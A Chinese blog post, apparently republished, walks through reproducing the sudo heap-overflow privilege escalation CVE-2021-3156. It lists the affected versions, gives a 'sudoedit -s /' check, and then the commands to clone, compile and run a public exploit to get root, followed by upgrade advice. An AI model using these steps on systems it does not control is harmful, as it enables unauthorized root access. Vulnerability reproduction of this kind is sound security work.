CVE-2021-3156 Linux提權漏洞實現


CVE-2021-3156 漏洞復現

漏洞簡介

2021年1月26日,Linux安全工具sudo被發現嚴重的基於堆緩沖區溢出漏洞。利用這一漏洞,攻擊者無需知道用戶密碼,一樣可以獲得root權限,並且是在默認配置下。此漏洞已分配為CVE-2021-3156,危險等級評分為7分。

當sudo通過-s或-i命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用-s或-i標志運行sudoedit時,實際上並未進行轉義,從而可能導致緩沖區溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。研究人員利用該漏洞在多個Linux發行版上成功獲得了完整的root權限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),並且sudo支持的其他操作系統和Linux發行版也很容易受到攻擊。

攻擊效果

漏洞發生的原因在於sudo錯誤地轉義了參數中的反斜杠。

通常,通過shell(sudo -s或sudo -i)運行命令行時,sudo會轉義特殊字符。但 -s 或 -i 也可能被用來運行sudoedit,在這種情況下,實際上特殊字符沒有被轉義,這就可能導致緩沖區溢出。

利用該漏洞,研究人員在多個Linux發行版上成功獲得了完整的root權限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)。並且,Qualys認為,在這種情況下,sudo支持的其他操作系統和Linux發行版也很容易受到攻擊,並不能排除風險。

受影響版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1

不受影響版本

sudo =>1.9.5p2

漏洞復現

1 查看Linux及sudo版本

lsb_release -a
sudo -V
image

2 簡單測試漏洞是否存在

sudoedit -s /
image

3 如果返回“sudoedit:開頭的錯誤”,則當前系統可能存在安全風險;
不受影響的系統將顯示“usage:開頭的錯誤”。

image

4 下載exp

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
image

5 編譯exp

make
image

6 添加執行權限

chmod a+x sudo-hax-me-a-sandwich
image

7 exp提權測試

./sudo-hax-me-a-sandwich 0
image
提權成功啦!!!!
image

參考文獻

信息安全漏洞門戶網 :http://cve.scap.org.cn/

修復建議

目前官方已在sudo新版本1.9.5p2中修復了該漏洞,請受影響的用戶盡快升級版本進行防護。
下載地址:https://www.sudo.ws/download.html
image

個人理解

sudo執行時本來應該在/usr/lib下搜索動態庫,結果這貨優先在執行命令的位置搜索,所以這個時候就在編譯一個動態態庫在當前目錄,里邊主要就是跳過用戶密碼驗證,直接返回true。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM